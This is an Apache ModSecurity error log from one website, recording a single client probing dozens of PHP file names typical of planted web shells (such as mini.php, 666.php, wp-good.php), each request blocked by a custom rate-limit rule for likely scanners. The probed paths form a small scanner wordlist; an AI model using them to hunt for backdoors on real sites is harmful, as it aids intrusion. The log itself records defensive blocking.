[Wed Apr 15 19:11:20.221348 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:13130] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9yWHg-gnM2Ga0cGAAAEQAAARE"]
[Wed Apr 15 19:11:20.752300 2026] [:error] [pid 30956:tid 30964] [client 51.120.68.159:28778] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9yWEBGUpjaWntNYq1exwAAAAQ"]
[Wed Apr 15 19:11:21.408541 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:26789] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9yWXg-gnM2Ga0cGAAAFgAAAQ8"]
[Wed Apr 15 19:11:21.950001 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:48344] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9yWXg-gnM2Ga0cGAAAGgAAARI"]
[Wed Apr 15 19:11:22.607666 2026] [:error] [pid 30956:tid 30982] [client 51.120.68.159:40361] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9yWkBGUpjaWntNYq1eyAAAABY"]
[Wed Apr 15 19:11:23.130023 2026] [:error] [pid 30958:tid 31024] [client 51.120.68.159:41955] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9yW8eG3wSKTO7NWFGKsgAAAMg"]
[Wed Apr 15 19:11:23.662172 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:26433] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9yW8eG3wSKTO7NWFGKtQAAANU"]
[Wed Apr 15 19:11:24.199975 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:24643] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9yXHg-gnM2Ga0cGAAAHwAAAQg"]
[Wed Apr 15 19:11:24.720441 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:5817] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9yXHg-gnM2Ga0cGAAAIQAAAQY"]
[Wed Apr 15 19:11:25.258548 2026] [:error] [pid 30958:tid 31017] [client 51.120.68.159:23145] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9yXceG3wSKTO7NWFGKtwAAAME"]
[Wed Apr 15 19:11:25.776579 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:26456] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9yXXg-gnM2Ga0cGAAAJQAAARI"]
[Wed Apr 15 19:11:26.322578 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:22372] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9yXng-gnM2Ga0cGAAAKAAAARg"]
[Wed Apr 15 19:11:26.894176 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:23140] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9yXseG3wSKTO7NWFGKuQAAAMA"]
[Wed Apr 15 19:11:27.437910 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:40357] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9yX3g-gnM2Ga0cGAAAKgAAARM"]
[Wed Apr 15 19:11:28.020249 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:23501] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9yYHg-gnM2Ga0cGAAALQAAAQ8"]
[Wed Apr 15 19:11:28.625872 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:44880] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9yYHg-gnM2Ga0cGAAAMAAAAQQ"]
[Wed Apr 15 19:11:29.195716 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:23928] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9yYXg-gnM2Ga0cGAAAMgAAARI"]
[Wed Apr 15 19:11:29.783280 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:26797] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9yYRcEkLCmvF0fjDeoJwAAAI4"]
[Wed Apr 15 19:11:30.306285 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:5770] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9yYhcEkLCmvF0fjDeoKQAAAIw"]
[Wed Apr 15 19:11:30.861709 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:23116] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9yYhcEkLCmvF0fjDeoLAAAAIE"]
[Wed Apr 15 19:11:31.587740 2026] [:error] [pid 30957:tid 30991] [client 51.120.68.159:23933] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9yY35gwVEVXHfVSipuFwAAAEI"]
[Wed Apr 15 19:11:32.369307 2026] [:error] [pid 30958:tid 31026] [client 51.120.68.159:48341] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9yZMeG3wSKTO7NWFGKuwAAAMo"]
[Wed Apr 15 19:11:32.940731 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:26763] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9yZMeG3wSKTO7NWFGKvQAAAM0"]
[Wed Apr 15 19:11:33.483223 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:28784] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9yZceG3wSKTO7NWFGKvgAAAM8"]
[Wed Apr 15 19:11:34.031589 2026] [:error] [pid 30956:tid 30969] [client 51.120.68.159:26783] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9yZkBGUpjaWntNYq1ezQAAAAk"]
[Wed Apr 15 19:11:34.576321 2026] [:error] [pid 30958:tid 31022] [client 51.120.68.159:23147] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9yZseG3wSKTO7NWFGKwQAAAMY"]
[Wed Apr 15 19:11:35.103884 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:28755] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9yZ8eG3wSKTO7NWFGKwwAAANU"]
[Wed Apr 15 19:11:35.621547 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:20419] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9yZ3g-gnM2Ga0cGAAANAAAAQM"]
[Wed Apr 15 19:11:36.138271 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:26453] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9yaHg-gnM2Ga0cGAAANgAAARU"]
[Wed Apr 15 19:11:36.690295 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:26478] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9yaHg-gnM2Ga0cGAAAOQAAAQ4"]
[Wed Apr 15 19:11:37.231461 2026] [:error] [pid 37370:tid 37385] [client 51.120.68.159:14661] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9yaXg-gnM2Ga0cGAAAOgAAAQ0"]
[Wed Apr 15 19:11:37.766066 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:32434] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9yaXg-gnM2Ga0cGAAAOwAAAQs"]
[Wed Apr 15 19:11:38.312390 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:14686] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9yang-gnM2Ga0cGAAAPgAAAQg"]
[Wed Apr 15 19:11:38.893823 2026] [:error] [pid 30957:tid 31005] [client 51.120.68.159:48338] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9yan5gwVEVXHfVSipuGgAAAFA"]
[Wed Apr 15 19:11:39.492966 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:28765] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9ya3g-gnM2Ga0cGAAAPwAAARY"]
[Wed Apr 15 19:11:40.067277 2026] [:error] [pid 31053:tid 31060] [client 51.120.68.159:13137] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9ybBcEkLCmvF0fjDeoLwAAAIQ"]
[Wed Apr 15 19:11:40.601443 2026] [:error] [pid 30957:tid 30997] [client 51.120.68.159:43776] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9ybH5gwVEVXHfVSipuGwAAAEg"]
[Wed Apr 15 19:11:41.123208 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:11184] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9ybXg-gnM2Ga0cGAAAQQAAAQE"]
[Wed Apr 15 19:11:41.663491 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:32406] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9ybXg-gnM2Ga0cGAAAQgAAAQw"]
[Wed Apr 15 19:11:42.195783 2026] [:error] [pid 30956:tid 30972] [client 51.120.68.159:20477] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9ybkBGUpjaWntNYq1ezgAAAAw"]
[Wed Apr 15 19:11:42.777069 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:23872] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9ybng-gnM2Ga0cGAAARAAAAQo"]
[Wed Apr 15 19:11:43.308200 2026] [:error] [pid 30956:tid 30967] [client 51.120.68.159:14683] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9yb0BGUpjaWntNYq1ezwAAAAc"]
[Wed Apr 15 19:11:43.842691 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:43836] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9yb3g-gnM2Ga0cGAAARQAAAQ4"]
[Wed Apr 15 19:11:44.361649 2026] [:error] [pid 30956:tid 30984] [client 51.120.68.159:32421] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9ycEBGUpjaWntNYq1e0AAAABg"]
[Wed Apr 15 19:11:44.880795 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:26466] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9ycMeG3wSKTO7NWFGKxQAAAMs"]
[Wed Apr 15 19:11:45.430340 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:42790] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9ycceG3wSKTO7NWFGKxwAAAMw"]
[Wed Apr 15 19:11:45.955292 2026] [:error] [pid 30957:tid 31000] [client 51.120.68.159:23156] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9ycX5gwVEVXHfVSipuHgAAAEs"]
[Wed Apr 15 19:11:46.483080 2026] [:error] [pid 30958:tid 31026] [client 51.120.68.159:21958] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9ycseG3wSKTO7NWFGKygAAAMo"]
[Wed Apr 15 19:11:47.058421 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:13152] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9ycxcEkLCmvF0fjDeoNQAAAJQ"]
[Wed Apr 15 19:11:47.578218 2026] [:error] [pid 30958:tid 31035] [client 51.120.68.159:13149] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9yc8eG3wSKTO7NWFGKywAAANM"]
[Wed Apr 15 19:11:48.222043 2026] [:error] [pid 30956:tid 30975] [client 51.120.68.159:32403] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9ydEBGUpjaWntNYq1e0gAAAA8"]
[Wed Apr 15 19:11:48.766959 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:13158] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9ydEBGUpjaWntNYq1e1AAAAAs"]
[Wed Apr 15 19:11:49.306891 2026] [:error] [pid 30958:tid 31029] [client 51.120.68.159:51965] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9ydceG3wSKTO7NWFGKzgAAAM0"]
[Wed Apr 15 19:11:49.857187 2026] [:error] [pid 31053:tid 31059] [client 51.120.68.159:21963] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9ydRcEkLCmvF0fjDeoOQAAAIM"]
[Wed Apr 15 19:11:50.378800 2026] [:error] [pid 31053:tid 31073] [client 51.120.68.159:21980] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9ydhcEkLCmvF0fjDeoOgAAAJE"]
[Wed Apr 15 19:11:50.909593 2026] [:error] [pid 30956:tid 30974] [client 51.120.68.159:23888] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9ydkBGUpjaWntNYq1e1wAAAA4"]
